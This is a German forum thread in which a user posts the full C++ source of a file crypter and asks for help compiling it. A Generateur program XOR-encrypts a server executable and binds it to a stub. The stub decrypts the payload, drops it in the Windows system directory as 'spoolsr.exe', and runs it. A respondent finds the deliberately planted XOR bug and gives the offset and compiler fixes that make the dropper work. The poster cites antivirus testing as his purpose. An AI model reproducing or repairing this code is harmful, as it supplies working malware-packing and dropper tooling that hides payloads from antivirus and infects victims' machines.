Hilfe beim compilieren eines Codes (C++)

SUID:root

Member of Honour
Hallo zusammen,

da ich hier völlig neu bin, sag ich erstmal hallo ;)

Habe die Boardregeln brav gelesen, bin mir aber nicht sicher, ob es hier gewünscht wird, auch Fragen nach Hilfe zum Compilieren von diveresen Codes zu stellen.

Ich selbst code nur ein bisschen in VB und habe von C++ so gut wie keine Ahnung.
Auch wenn ich schon mehrere Codes problemlos compilieren konnte, habe ich derzeit ein Problem mit einem kleinen Programm (gewissermaßen Malware, File-Encryption), welches sich nicht so ohne weiteres compilieren lässt.

Falls ok, würde ich den Code posten. Evtl kann mir jemand weiter helfen.

Wenn dies gegen irgendwelche Regeln verstossen sollte, dann bitte ich um Nachsicht :)

Danke

root
 
also code haben hier schon viele gepostet und nie ärger bekommen :)
ich wüsste auch nicht, wieso das gegen die regeln verstoßen sollte, also immer her damit.

mfg,
pacman
 
Ok. Fein. Da ich Regeln akzeptiere und hier neu bin, hab ich lieber gefragt.

Dann erklär ich erstmal das Problem.

Habe bisher verschiedene Compiler getestet. DevC++, VC98, Borland.
DevC++ erstellt alles ohne Murren, Programm läuft aber nicht. Stub.exe 19 kb, Generateur 417 kb.

VC++ mit IDE bringt Fehler. Generateur compiliert 257 kb, Stub ebenso. Unter Konsole lässt sich Generateur erstellen, Stub nicht.

Borland mag gar nicht.

Source besteht aus zwei Files: Generateur.cpp, Stub.cpp
Original.exe (vorcompiliert) sind Generateur.exe, 72 Kb und Stub.exe, 16 kb (gepackt mit FSG), entpackt ca. 50 kb.

Je nach Compiler und erfolgreichen, bzw teilweise erfolgreichem compilieren erhalte ich völlig absurde Größen, jenseits der originalen Exe-Größen.

Programme laufen in allen Fällen nicht.

Obj-Files lassen sich erstellen, beim Linken geht dann gar nix mehr.


Hier die beiden Files:

Generateur.cpp


// Cryptage de fichier par méthode 'XOR' by GoldenEye

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <time.h>
#include <iostream>
#include <windows.h>

using namespace std;
//
//int WINAPI WinMain(HINSTANCE Instance, HINSTANCE PrevInst, LPSTR CmdLine, int NbCmd)
int main(int argc,char **argv) // 3 arguments
{

srand(time(0)); //initialise le randomizer
//on copie le stub
char c;//pour la sauvegarde
char *ch = "server.exe" ; //fichier du server 1
char *che = "stub.exe" ; // le stub 2
char *cho = "protected.exe" ; //fichier généré (bind copy stub):) 3
char *cle = "clefdencryption" ;

FILE *crypte2,*crypte3; //copie de stub.exe ds un nouveau protected.exe
int i=0;//compteur

crypte2=fopen(che,"rb"); //lecture seule
crypte3=fopen(cho,"wb"); //ecriture seule, destruction ancienne version si exist
while(fread(&c,sizeof(char),1,crypte2))// tant qu'on en a pas vu la fin
{
putc(c,crypte3);// on copie
i++;
}
fclose(crypte2);
fclose(crypte3);


FILE *crypte1;//,*crypte3; //copie de server.exe sous XOR a la suite de protected.exe

//char *crypte1;
//char *crypte3;
i=0;//compteur


{ crypte1=fopen(ch,"rb"); //lecture seule
crypte3=fopen(cho,"ab+"); //ecriture seule, destruction ancienne version si exist
fseek(crypte3,15424,0); //17152 est l' offset de la fin du stub
//printf("Cl\202: ");//pour décrypter, il faut la clé !
//scanf("%s",cle);

while(fread(&c,sizeof(char),1,crypte1))// tant qu'on en a pas vu la fin
{
putc(c^cle[i%strlen(cle)],crypte3);// on crypte par XOR
i++;
}
fclose(crypte1);
fclose(crypte3);
printf("Nouveau protected.exe genere !");// gagné !
}

//ShellExecute(NULL, NULL, "notepad.exe", NULL, NULL, SW_SHOWNORMAL);
getchar();
return EXIT_SUCCESS;

}






Stub.cpp

#include <stdio.h>
#include <windows.h>

int WINAPI WinMain(HINSTANCE Instance, HINSTANCE PrevInst, LPSTR CmdLine, int NbCmd)
{
//srand(time(0)); //initialise le randomizer
char c;//pour la sauvegarde
FILE *crypte1,*crypte2;
char *cle = "clefdencryption" ;
char *mumu = "" ;
char bite_str[256] = "\\spoolsr.exe" ;
char buffer[256] = {""};
int i=0;//compteur
GetModuleFileName(NULL,buffer,256); //detecte le chemin du prog
char RepertoireSystem_str[256];
GetSystemDirectory(RepertoireSystem_str, sizeof(RepertoireSystem_str));
mumu=strcat(RepertoireSystem_str,bite_str);

char *ch = buffer ; //fichier contenant le code crypté 1
char *che = mumu ; //fichier extrait puis executé :) 2

{ crypte1=fopen(ch,"rb");

fseek(crypte1,15424,0); //15424 est l' offset de la fin du stub
crypte2=fopen(che,"wb");

while(fread(&c,sizeof(char),1,crypte1))// tant qu'on en a pas vu la fin
{
putc(cle[i%strlen(cle)]^c,crypte2);// on decrypte par XOR
i++;
}
fclose(crypte1);
fclose(crypte2);
ShellExecute(NULL, NULL, mumu, NULL, NULL, SW_SHOWNORMAL);
}

return EXIT_SUCCESS;

}



Es macht mich wahnsinnig, wenn ich nicht rausbekomme, was ich falsch mache.

Hilfe wäre toll. Man lernt ja nie aus.

Danke

Gruß

root
 
servuz,

ich kann die programme mit digital mars, borland c++, devc++4 und 5, gcc und gcc <special> edition compilieren == null fehler.

ich benutze allerdings relo als ide für alle compiler(deswegen kann ich auch so schnell so viele compiler testen). - aber normalerweise sollte das keinen unterschied machen

die größe der exen die entstehen soll hängt von den compiler optionen ab - ist also sinnlos die mit der, der originalexen zu vergleichen.

wär toll wenn du die fehlermeldungen posten würdest(ich glaub du compilierst es als konsole und nicht als win32 app).


cya, hants
 
Hey,

erstmal danke für die Antwort- Zugegebenermaßen bin ich ein C++ Dau.
Compilieren kann ichs nur mit DevC++, doch dann kommt ein

Ok. zu den Fehlermeldungen

Dev-C++ :

Generateur.cpp:

Warning: Zeile2 / no newline at end of file

Status: compiliert


Stub.cpp:

Warning: Zeile2 / no newline at end of file

Status: compiliert

Laufen tut die protected.exe aber nicht.

MsgBox: 16-Bit MS-DOS Teilsystem

c:\Windows\System32\spoolsr.exe
Die NTVDM-CPU hat einen ungültigen Befehl entdeckt...



VC++ mit IDE

Generateur.cpp

lässt sich compilieren. 0 Fehler / 0 Warnungen

Stub.cpp

--------------------Konfiguration: stub - Win32 Debug--------------------
Kompilierung läuft...
stub.cpp
Linker-Vorgang läuft...
LIBCD.lib(crt0.obj) : error LNK2001: Nichtaufgeloestes externes Symbol _main
Debug/stub.exe : fatal error LNK1120: 1 unaufgeloeste externe Verweise
Fehler beim Ausführen von link.exe.

stub.exe - 2 Fehler, 0 Warnung(en)

VC++ über Konsole

kanns grad nicht reproduzieren, da ich grad ne DLL-Fehlermeldung von CL bekomme.

Edit: DLL-Fehler gefixt. Fehler reproduziert.

ERROR LNK1120: Nichtaufgelöstes externes Symbol _imp_ShellExecuteA@24

Habe schon die letzten Tage gegooglet aber nix gefunden.

Vielleicht kannst du mir ja verraten, mit welchen Compiler-Optionen / Linker-Optionen ich das compilieren kann.
Es muss an meinen Einstellungen liegen. Bisher gabs jedoch nie Probleme.
Nervt mich jedenfalls, weil ich den Fehler nicht finde.

Werds aber weiter probieren

Hoffe, das hilft dir weiter.

Gruß

root
 
servuz,

wieso liest du auch französische tuts - es gibt genug gute deutsche, englische von mir aus russische und spanische :D - aber französische...


also generateur.cpp ist eindeutig ein konsolenprogramm - obwohl mich die kommentare ziemlich verwirrt hatten^^ also kompiliers bei projektoptionen als win32 konsolenprogramm.
was macht es : keine ahnung ;) - wahrscheinlich irgendne billige xor verschlüsselung und beide exen joinen- auf jedenfall zum laufen bringst du die kompilierte exe nur, wenn du im selben verzeichniss noch eine lauffähige stub.exe und server.exe hast.
dan läuft auch die protected.exe

stub.cpp ist mir irgendwie schleierhaft, - zumindest musst du es als win32 application compilen(am einfachsten erstellst du ein neues project = windows application und ersetzt dan den automatisch erzeugten quellcode durch den von stub. im windows\system verzeichniss erstellt es eine nicht lauffähige exe namens spoolsr, diese hat auch keinen gültigen header und ihre größe hängt davon ab, welchen compiler man verwendet. die spoolsr.exe ist eine kopie der originalexe (die aus stub.cpp) ab der adresse 0x3c40, mit einem simplen schlüssel gexort - ich weiss gar nicht wie der coder davon auf die idee kam, es wäre ausführbar o_O


cya, hants
 
Ja, ich mag auch kein französich ;)

Aber die Exe-Files sind defiinitv lauffähig.

EDIT:

Habe hier die Original Stub.exe und Generateur.exe

Funktionieren prima.
Was die Sache mit Spoolsr.exe soll, kapier ich aber auch nicht. Wird von den Original-Files aber auch in system32 erzeugt und läuft...

Jedenfalls kann ich alles in der Konsole kompilieren. Nur produziert´s danach einen Fehler beim ausführen von wegen spoolsr.exe (im Gegensatz zum Original)

sehr seltsam..

Danke erstmal für deine Hilfe. Wenn du noch ne Idee hast... bin für Vorschläge offen.

Gruß

roor
 
servuz,

die original stub exe erzeugt ne lauffähige spoolsr.exe?!
sag mal wo man die herbekommt(die original stub) - dan kann ich mal im debugger sehen, was stub und spoolsr eigentlich machen sollten und den c code so abändern, dass er läuft.

generateur läuft bei mir und erzeugt lauffähige exen - ich denk da läuft alles wie es sollte.

cya, hants
 
servuz,

rolf!!1 wiso bin ich nicht ohne die orignal exen drauf gekommen, dass die beiden zusammengehören ? X(

das ist nämlich ganz ezy: :D

wie du schon vermutet hast, haben die (wahrscheinlich) absichtlich einen bug in stub exe eingebaut:

bei der xor verschlüsselung(in stub.cpp) sollte nämlich c^cle[i%strlen(cle)] stehen.

die zahl 15424, die in beiden codes vorhanden ist, ersetzt du durch die größe der stub.exe in bytes (rechtsklick auf die exe, unten bei den größenangaben steht in klammern die größe in bytes).


beide kann man als win32 konsolenanwendung kompilieren, dan laufen sie auch.
wobei ich stub.exe als eine standard win32 exe compilen würde damit kein sinnloses dos fenster kommt^^.

generateur exe läuft nur, wenn im selben verzeichniss stub.exe und eine lauffähige server.exe vorhanden sind - dan läuft auch protected exe, die sich zusammensetzt aus stub.exe und der gexorten server.exe . die protected exe xort(oder besser dexort) die an sie drangehänge server.exe wieder und speichert sie als spoolsr.exe im system verzeichniss (wozu?).

der rest ist offensichtlich^^

cya, hants

ps. OMG bin ich ein noob
 
Hi hants!

Man bin ich blöd. Das tut ja schon weh. AUA. Ich mach seit Tagen mit diesem Code rum und seh den Wald vor lauter Bäumen nicht. Hab mich so auf das eine File eingeschossen, und dabei das Offensichtliche übersehen. Dabei hätte ich echt nur mal beide Bereiche verlgeichen müssen, dann hätte es mich regelrecht angesprungen.

Oh, Herr im Himmel. Wie kann ich nur solche Tomaten auf den Augen haben?
Du bist sicher kein NOOB, aber ich dafür umso mehr.
Auch wenn ich nur ganz geringe C++ Kenntnisse habe, hätte ich das sehen müssen.

Trotzdem hab ich eine Menge lernen können und bin nun schlauer als vorher. Auch hab ich mich wegen dem ganzen Kram nochmal intensiv mit den verschiedenen Compilern auseinandersetzen müssen.

Ich danke dir vielmals für deine unermüdliche Hilfe!!!

Jetzt kann ich den Crypter in meine grosse Open-Source-Sammlung aufnehmen und ihn bei meinen nächsten AV-Tests berücksichtigen.

Viele Grüsse


root
 
Zurück
Oben